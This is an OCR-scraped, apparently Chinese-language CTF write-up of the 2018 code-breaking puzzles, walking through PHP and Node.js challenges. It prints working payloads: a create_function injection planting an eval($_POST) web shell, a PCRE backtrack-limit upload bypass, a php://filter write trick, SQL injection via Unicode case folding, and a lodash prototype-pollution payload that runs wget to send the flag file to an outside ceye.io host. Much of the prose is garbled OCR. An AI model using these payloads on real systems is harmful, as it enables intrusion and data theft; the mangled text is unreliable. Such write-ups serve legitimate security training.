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easy - function

<?php
$action = $ GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/~[a-z0-9_]*$/isD', $action)) {
show_source(__FILE_ );

} else {
$action('', $arg);

}
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E’ Intruder attack 1 - a X
Attack Save Columns

jResults WTarget [Positions [ Payloads IOptions ]

‘Filter: Showing all items ‘m
Request |Payload | Status Error Timeout | Length 4| Comment

104 5¢ 200 O O [s60 5
1 aa 200 =] =] 1399

2 ba 200 =] =] 1399

3 ca 200 O O 1399

4 da 200 O O 1399

5 ea 200 O O 1399

6 fa 200 O O 1399

35 8a 200 =] =] 1399

36 9a 200 =] =] 1399

37 ab 200 O O 1399

38 bb 200 O O 1399

39 ch 200 O O 1399

40 db 200 O O 1399 v

Request | Response

JRaw I Headers | Hex | XML }

HTTP/1.1 200 OK

Date: Tue, 27 Nov 2018 09:35:47 GMT
Server: Apache/2.4.23 (Win64) PHP/7.0.10
X-Powered-By: PHP/7.0.10
Content-Length: 356

Connection: close

Content-Type: text/html; charset=UTF-8

T

<pre class="xdebug-var-dump’ dir="1tr">

<small>D:\wamp64\www\phctf2018\easy function.php:8:</small><small>string</small> <font color="#cc0000'>"</font> <i>(length=0)</i>
</pre><pre class="xdebug-var-dumyp’ dir="1tr">

<small>D:\wamp64\www\phctf2018\easy function.php:8:</small><small>string</small> <font color="#cc0000'>'1'</font> <i>(length=1)</i>
<jpre>
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create_function('$a,$b', 'return 111')
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function a($a, $b){
return 111;
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create_function('$a,$b', 'return 111;}phpinfo();//")

1}
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function a($a, $b){
return 111;}phpinfo();//
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http://51.158.75.42:8087/?action=%5Ccreate_function&arg=return%202333;%7Deval($_POST%5B%27ddog%27%5D) ; %2f%2F

& cC @ ® 17/?action=\create function&arg=return 2333;}eval($ POST['ddog']);%2f%2f  BE <+ V¥ || Q &=

Deprecated: Function create_function() is deprecated in /var/www/html/index.php on line 8
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@ Load URL http://51.158.75.42:8087/?action=\create_function&arg=return 2333;}eval($_POST['ddog");//
9 spit URL
»» Execution
Enable Post Data Enable Referrer find text... = ||replace with...
Post data

ddog=echo "<br />";$handler = opendir("../");while( ($filename = readdir($handler)) !== false ) {echo $filename."<br/>";}
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<?php
function is_php($data){
return preg_match('/<\?.*[(";?>].*/is', $data);

if(empty($_FILES)) {
die(show_source(__FILE_ ));

$user_dir = './data/’';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {

echo "bad request";

} else {
@mkdir($user_dir, @755);
$path = $user_dir . '/' . random_int(e, 10) . '.php';

move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
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https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
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ERIA £ 1000000.

Change language: English v
Edit ReportaBug

Runtime Configuration

The behaviour of these functions is affected by settings in php. ini .

PCRE Configuration Options
Name Default Changeable Changelog
pcre.backtrack_limit "1000000" PHP_INI_ALL Available since PHP 5.2.0.
pcre.recursion_limit \ "100000" PHP_INI_ALL Available since PHP 5.2.0.
pere.jit " PHP_INI_ALL Available since PHP 7.0.0.
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<?php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
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R S HEILR RIS Ephp phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
BEELR[(C;2>], MEHRT, L—PRRIATEE, FEAREHLERNFST.

MIX BT 46 1E N 51 BERLTT 40207 (19, S RFA ER; HBAIE

BIRRAR, MRS AR BUEFIBRE], AR Rpost—MERKIKIEIE, H2MRFZmMSIRFE RS HEREXE, FURE
T pcre.backtrack_limit , FIRFEIFIREGEE10075K, FWALERESER, REHkTXAER.

B2 ERE, mRREHEXAEND, RINMELEESXHRNET!
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<?php phpinfo();//a*1000000

D 1.158./2.44:B8U88/0at1a/85 /950" X U.U o] Ula/easy
< C o ® 51.158.75.42:8088/data/85798d6727d1ae1f00079b5eecchb7c1a/9.php?txt= BR e ¥y | Qi
aaastring(38) "
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SQL ~ XSS ~ Encryption ~ Encoding ~ Other ~ + -

@ Load URL http://51.158.75.42:8088/data/85798d6727d 1ae1f00079bSeeccb7c1a/9.php
§ spit URL \\\\\\
» Execution
Enable Post Data Enable Referrer find text.../ = ||replace with...
Post data txt=$username=file_get_contents('./../../../flag_php™ = “= st');var_dump($username);
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Return Values

preg_match() returns 1if the pattern matches given subject, 0 if it does not, or FALSE if an error occurred.

section on Booleans for more information. Use the === operator for testing the return value of this function.

preg_match 3% [Bl )& ILAC B B R EL, W RILEA B 2R E0, 1R &R Hfalse
FTEL, XF preg_match SR¥t, REXTIREIZERA FIN, AT LR G i ) 1)
easy - phpmagic
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<?php
if(isset($_GET['read-source'])) {
exit(show_source(__ FILE_ ));

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA DIR)) {
mkdir(DATA_DIR, ©755, true);

}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!'empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log name = $_SERVER['SERVER_NAME'] . $log_name;
if(!'in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', ‘'php5', 'phtml’,

) A
file_put_contents($log_name, $output);

echo $output;
endif; ?>

R 1% — T AR A X & B 1) A LA 0 )

1. BIMESBEERIdighiRE, BT EIMNEMSIEN, X B R GEMITdigan<, ME—REH] KBt —Rdigh B 17,
AN ENEEE LT RIES, Pk

Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the
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; <<>> DiG 9.9.5-9+deb8ul5-Debian <<>> -t A -q 1232321321

;5 global options: +cmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507

;5 flags: gr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: 1, ADDITIONAL: ©

55 QUESTION SECTION:
51232321321. IN A

55 AUTHORITY SECTION:
10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400

55 Query time: 449 msec

55 SERVER: 127.0.0.11#53(127.0.0.11)
;3 WHEN: Wed Nov 28 ©8:26:15 UTC 2018
;3 MSG SIZE rcvd: 103

2. in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml’, 'pht'], true) iX
A IER AR, SEERRE A BEBNSEIMNE.

3. log®lmEZ Nt $ SERVER[ 'SERVER_NAME ' ]

F—RENREAR, &F T HARIwpA B XN K8 & http:/f1sh.site/2018/11/25/code-breaking-
puzzles%E5%81%9A%EQ%A2%98%E8%AE %B0%ES5%BD %95/
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$output = <<<EOT

; <<>> DiG 9.9.5-9+deb8ul5-Debian <<>> -t A -q "$domain"

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507

;5 flags: gr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: 1, ADDITIONAL: ©

55 QUESTION SECTION:
;1232321321. IN A

53 AUTHORITY SECTION:
10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400

;5 Query time: 449 msec

55 SERVER: 127.0.0.11#53(127.0.0.11)
;5 WHEN: Wed Nov 28 ©8:26:15 UTC 2018
;5 MSG SIZE rcvd: 103

EOT;
$output = htmlspecialchars($output, ENT_HTML4@1 | ENT_QUOTES);

var_dump ($output);
var_dump(base64_decode($output));



2 5 st.php:44:string ~; &1t;&1t;&gt:&gt; DiG 9.9.5-9+deb8ul5-Debian &1t;&1t;&gt:&gt; -t A —q &quot;MzIxMzIx&quot;
:; global options: +cmd
;5 Got answer:
;; —&gt;&gt;HEADER&1t;&1t;— opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;1232321321 IN A

;; AUTHORITY SECTION:
10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400

;; Query time: 449 msec
;: SERVER: 127.0.0.11#5°... (length=590)

asictphp:d6istring | QOO 909 UOVO (Y009 [ 90500 321321009710 9* 90L1i i 029-0 0091 9INO9 (19, 9O19 S 936 ;OO POV OPIXOR
< ———
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saL ~ XSS ~ Encryption ~ Encoding v Other ~ +

@ Load URL http://127.0.0.1/phctf2018/easy_phpmagic_test.php
4§ spit URL

», Execution

Enable Post Data/Eale Referrer | find text... = | replace with...

Post data domain=MzIxMzIx
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B #%poc:

Request

JRaw W Params [ Headers [ Hex 1

POST /index.php HTTP/1.1

Host: p

User- t: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: teXt/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;(=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://51.158.75.42:8082/index.php?http:%2f%2£51.158.75.42:8082%2findex.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 100

Connection: close

Upgrade-Insecure-Requests: 1

domain=PD9waHAgcGhwaW5mbygpOyA/PjlyMg==&log=hp://filter/write=convert.base64-decode/resource=2.php/.
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easy - phplimit

<?php

if(';" === preg_replace('/[*"\WI+\((?R)?\)/', "', $_GET['code'])) {
eval($_GET['code']);

} else {
show_source(__FILE_ );

}
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http://php.net/manual/zh/function.get-defined-vars.php
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D:\wamp64\www\phctf2018\easy phplimit. php:4:

array (size=2)
“code’ => string get defined vars():; (length=19)
1 => string ' 1" (length=1)

P———— ”
JETHE R T BT T
(1)
Call Stack
# Time Memory Function Location
1 0.0004 364848|{main}() ..\easy_phplimit.php:0

D: \wamp64\www\phctf2018\easy_phplimit. php:4:string ~echo 2333;//eval (implode (reset (get_defined_vars())));  (length=53)

Call Stack

# Time Memory Function Location

1| 0.0004 364848|{main}( ) ..\easy_phplimit.php:0
2| 0.0015 366800|eval( 'eval(implode(reset(get_defined vars())));") ..\easy phplimit.php:5

v O =&= e OEdE (OHAREE CHe 4 HE =RE 8 & TEEwE @ Hackbar
saL ~ XSS ~ Encryption ~ Encoding v Other ~ +
@) Load URL http://127.0.0.1/phctf2018/easy_phplimit.php?1=ech0%202333;//&code=eval(implode(reset(get_defined_vars())));

1§ spit URL

W5 .. HEEF B RF G MR 70152333
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
easy - nodechr
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function safeKeyword(keyword) {
if(isString(keyword) && !'keyword.match(/(union|select];|\-\-)/is)) {
return keyword

return undefined

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {

let user = await ctx.db.get( SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AN
D "password" = '${password.toUpperCase()}"'")
if (user) {

ctx.session.user = user

jump = ctx.router.url('admin')

ctx.status = 303
ctx.redirect(jump)

} else {
await ctx.render('index"')

}

}
REKEANMIZELBFRN, HRFHEEERE

XEMEANZR BN, BT IERA TR,
R JE safekeywordid J T select union -- ;iXPUAN, A HE H LU T B B — )

Cc = “SELECT * FROM "users" WHERE "username" = '${a.toUpperCase()}' AND "password" = '${b.toUpperCase()}"'"

g X Ak EHflag, HIEEREB—REZBERENIMNET, EREHA—&, EEANE, BfselectR RN REEAKMRE
EHER, T8 E —FFIHR A #KR HflagtEfagR .

Fit CA 1) Rk S IR0 B T BRI IRk Ty, e Seid safekeyword F R il o
phlifif# & £ 5 id — &5 L& https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

TEjs T & 4 745 2 fEtoLowerCase MtoUpperCase 4k B8 i it i & A= sk LLAE 5 28 4k,

"R RPN FRERREHR RS RIS
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REXBENFEERTLT .

username=ddog
password="' un?on ?elect 1,flag,3 where '1'="1
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javascriptE . ..
KRS DA S BRI T

const fs = require('fs')

const express = require('express')

const bodyParser = require('body-parser')
const lodash = require('lodash')

const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //%fpostifKHIiERIAEIATHENT
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session’,
secret: randomize('aA@', 16), // BEHLE
resave: false,
saveUninitialized: false
)
app.engine('ejs', function (filePath, options, callback) { // #HiR5|%
fs.readFile(filePath, (err, content) => { //#EXf filepath
if (err) return callback(new Error(err))
let compiled = lodash.template(content) //#&#R{k
let rendered = compiled({...options}) //BI&EIIANTE

return callback(null, rendered)

1))
1))

app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body) // merge &3 it
req.session.data = data

res.render('index', {
language: data.language,
category: data.category

1}
1}

app.listen(3000, () => console.log( Example app listening on port 3000!°))

BT Xtnode ARy, HIFENEHI R BHA T — T HMBIMETWE . RERKNBNBE PR 2TIEE, RAKBEMAR
SRR P E e, EEHE SRR EA T R .
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https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype pollution_attack in_NodeJS.pdf
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B FisIERHE N R mERE, SHRSHaTHHRE.

> d = {"d":"ddd", "dd": function (){return 233}}
b {d: "ddd”, dd: £}
> d.d
"ddd"
» d.dd
F (Mreturn 233}
* od['d"]
"ddd"
R
g
* d[c]
"ddd"
» d.dd()
233
> d['dd' 10}
233

FEjsHH R AT LA & Fh 75 X fE B CHIXT &R .

FEjsH, BT BN SRR & R R AL X R AR T ORI, BT BAS RAEA 538, 183 prototype AT LA ELER#R AR 2 USSR IR
o

» a.prototype.b = function (}{return 233}
F (Mreturn 233}
» 1= new al)
Pa {F
a.b()
@ »Uncaught TypeError: a.b is not a function
at <anonymous>»:1:3
» i.b()
233

W

M H PR ALK A k.
TEjsH, BRI EHRNEARTE, —A& constructor H—AE __proto__

Xt F L BIR UL, constructorfUR MG R E, BRATH R —4#, B%T LLUE N prototype IR B AU &
function myclass () {}

myclass.prototype.myfunc = function () {return 233;}

var inst = new myclass();

inst.constructor // return function myclass

inst.constructor.prototype // return the prototype of myclass
inst.constructor.prototype.myfunc() // return 233



» function myclass () {}
myclass.prototype.myfunc = function () {return 233;}

var inst = new myclass();
£ () {freturn 233;}
» inst.constructor
£ myclass () {}
» inst.constructor.prototype
¥ fmyfunc: F, constructor: £}

» inst.constructor.prototype.myfunc() >
233

A —MNEARFTE __proto__ BEEMF . constructor.prototype

» inst.constructor.prototype.myfunc()

233

» inst['__proto_ "].myfunc()
233 _

» inst._ proto_ .iys op(S ooy
- F)
233 7

BT FREBARLEMFETTE, FTUNRELRIN R P RARZTT %, RaBIXEFER, BRRAR A SBHE

» inst._ proto_ .myfunc()
233

» inst.myfunc()
233

W

inst.myfunc_none()

@ »Uncaught TypeError: inst.myfunc_none is not a Fuic fom= =
at <anonymous>:1:6 e

ERAT EENBEZE, ROEIENER
(5] 21 %

FERIA AT SCP 3R B T XA — 75

https://github.com/HoLyVieR/prototype-pollution-nsecl18/blob/master/paper/JavaScript_prototype_pollution_attack_i
n_NodeJS.pdf

B T 154

obj[a]l[b][c] = value

R E ATz R aAconstructor, b Aprototype, chFAkey, EATRAREBLA LA AN R BVIHMTEAME, XMESH AT
HEixt %, FEMRaN _ proto , bR proto , IBATRAIETAI LN object B X FAME .

HRXMEALEER AR LI, FTUELPRZRT, RFE a7 RSt 2K RIE.
HABNGERMIIBAZ, RIVEIMNERER __proto_ MEFHARKIERZXINER, WA



PO E S HIER _proto_ 1, RAMNFEE—EWME, B R ESCHE RS E AR

merge (target, source)
foreach property of source

if property exists and is an object on both the target and the source
merge(target[property], source[property])

else b
target[property] = source[property]\

XK ERIE, BRATBAT LA ObjectERE X — M EEA,

BT TREPAXKOFETTE, EEERERIETRER EXZNEE, FAREAIREAEXZNER, FoEXKT
e

ARG, ZH BB BRI ARG
if (lobj.aaa){

}

XHERT, js&FifHobjaaakik, R aaakiZundefined, FABSIRARobjIREF (sSREEHERZTERE LIHL
1) .

SRS T, BB 2 LobjiyHKObjectiiaaaly vk, MALMMXANER, BEEFRIARTER.
U AERRAE B E k.
5] 218 H

B E b, XTREKEEGRERET .. BMEEEREIMRA R HE R req.body , XN BRI BT lodash.merge &
¥



pp.listen(

(v ©
https:iblogicsd dfﬂj

ATy OB B A B S ME, HEERT, BATE 247 fégetshellle ?
JBE XA B, REBZEBNMIGHIE A, FERMObjectz 5, HATUHAT fr & HIHTT

REZBHR, BARBA R Anodejs, HIRIER K IR R FNHE R .

XERAREREFRE TR (GIFELR? D

BR A Eltemplate i £+, AT LMRIGRIIE 2



ETRMEZX KRB I R AT UREEZRE, RINWEREER-NREXNZE, HEEAHEHE

X B fjsourceURLRITF FF & X AN, BATEHZIR AR floptionsig X4k, #HANRE—ER T2, HZllodash.jsiI35154T.

8% (isProto || 'hasOwnProj




&% (isProto || !hasOwnProperty.call(ob

baseMap(collection, iteratee) {

isArraylike(collection) ? Array(collection.length)

¥ L

ch(collection (value, key, collection) {

result[++index] = iteratee(w key, collection)

result

=anonymous=() runlnContext runlnContext() baseKeysIn()

Scripts »* W} Debugger Console + = H

ariables

object =
escape =
evaluate =
imports =
interpolate =

variable =

_proto__ = { : rmpS:Hbltng,md@c%?%%ﬁlg

7 L Blobjectdk ST, (BAVREAE T, RIMENTEAER, FEH RSB BIIHIITRA T .
56 BB i

HERAALEANRBZ EHE R T, R KGEMAGEHchild_process KT fr4, TR T — TR LAK, REFREH
shellERANFIEE A B H, BT —T HE B Rwgetsh i il HRIE.




poc

[E Burp Suite Free Edition v1.7.27 - Temporary Project - O X

Burp Intruder Repeater Window Help
[ Target T Proxy I Spider T Scanner T Intruder Tm Sequencer T Decoder T Comparer T Extender I Project options T User options T Alerts T Bypass WAF | CO2

1 = | ..
Go | [ cancel < |v ‘ > | Target: http://51.158.73.123:8086 LIJ EJ

Request Response
Params | Headers | Hex | Raw | Headers | Hex | HTML T Render]

POST / HTTP/1.1 A HTTP/1.1 200 OK A
Host: 51.158. 73, 123:8086 » X—Powered—By: Express
User—Agent: Mozilla/5. 0 (Windows NT 10.0; Winbd; x64; rv:63.0) Gecko 20100101 Content—Type: text/html; charset=utf-8
Firefox/63.0 Content—Length: 3664
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*.q=0.8 ETag: W/ e50-xte+aT jfveAGNmsd3PeNERNYRNM™
Accept—Language: zh—CN, zh;g=0. 8, zh—-TW;g=0. 7, zh—HK;9=0. 5, en—US:;9=0. 3, en;q=0. 2 set—cookie:
Accept—Encoding: gzip, deflate the js. session=s%3Asc j9-uhYMOnBBy J7TGn3R2aVi xCI1BbFDL. nbnvvi i wXWFORmRx i ANGvB4pBNkphk7S%2FQ 1 Xktxy
Referer: http://51.158. 73, 123:8086 aHl; Path=/; HttpOnly
Content-Type: application/json Date: Thu, 06 Dec 2018 11:13:11 GMT )
Content—Length: 193 Connection: close
Connection: close \
Cookie: <IDOCTYPE html>
the js. session=s%3AJFVE—EHI exNoiOndLEcgbdemPO781apx. r | grn%2Focedn%2Be7xUGi BYWox73x3suu <html lang="en">
IYUXTTArYyiZk; ksVz_2132_salthkey=CudBDz25 | chead>
Upgrade—Insecure—Requests: 1 <meta charset="UTF-8">

Pragma: no—cache

<meta name="viewport® content="width=device-width, initial-scale=1.0">
Cache-Control: no—cache

<meta http-equiv="X-UA-Compatible” content="ie=edge">
<title>ThedS Survey/title>
[“language™: [*_proto__":["_proto__": ["sourceURL":"\nglobal. process. mainModule. const

ructor. _load{'child_process'). exec('wget w. 1 ceye. 107§ (cat <link rel="stylesheet”
/flg ‘s|basebd) ', function( () ] href="https://edn. jsdelivr. net/npm/bootstrap@d. 1. 3/dist/css/bootstrap. min. css”
integrity="sha256—eSi192PG6JTgTib1 Ty AaWer r5GrtohYChqibrVIPBE=" crossorigin="anonymous">
<link rel="stylesheet”
href="https://edn. jsdelivr. net/npm/select2@4. 0. 6-re. 1/dist/css/select2. min. css”

integrity="sha256MeSTBRmg3bSaLF | i jnpxk&l+1JkiRI1//YGPCrCmoglU=" crossorigin="anonymous">
<link rel="stylesheet™ href="/static/app.css™>
</head>
<body>
<section role="main” class="main">

m u + [;J ‘ Type a search term 0 matches @ [ZJ EJ EJ ‘ Type a search term 0 matches

Done

[«
[«

3,995 byte 1423 millis

FEEE—EERjsontg R, BN proto X MERFFE, FFhRITTRA,
HE i ceyedkiF R, HELAM AT




@ceve

Records / HTTP Request

i ©

Introduce
' Payloads 0 The record is only saved for 6 hours and only the last 100 items are displayed
API
8 Download L,
DNS Rebinding
Records y D Mame
HTTP Request hitp:ifw.m: zeye io/?ZmxhZ3ssNDC
1595548 MThmYjR 13¥z0Q47n0=

DNS Query 1595547  hitp:fiwen ceye.iol

hitp:ffw.m Loeye lo/PYmiuCmRIdgr

15955042 GpzCmhy <hGHCm1 IZGIhCliudF.pn

hitp:ifw.n ceye 1o/ 2FjaGUR
1595540 25KbGon 'dApydWAKeIBVbZw.
1595538 hitp:ffw.m ceyelo/?cHIvY2
AN
hitp:/ifw.m ceye o/ ?hmakZVain”
1595535 pzZXJ2Z; AKcIRhdGIICnZpZXu
1595530 hitp:/w.m _ceye.io/?
1585527 hitp:/ifw.m ceyeio/?
1595524 hitp:/fw.m .ceye.io/?

A H Seebug Paper KA, 175 5 HHRIE.
WABFE R LA, Bk e s B AR &~

WXE TR BAT: BRI F = %4« hitps://mww.yunaqg.com/?from=CSDN91917
BIRFT LR 1. 400-833-1123

iBOM
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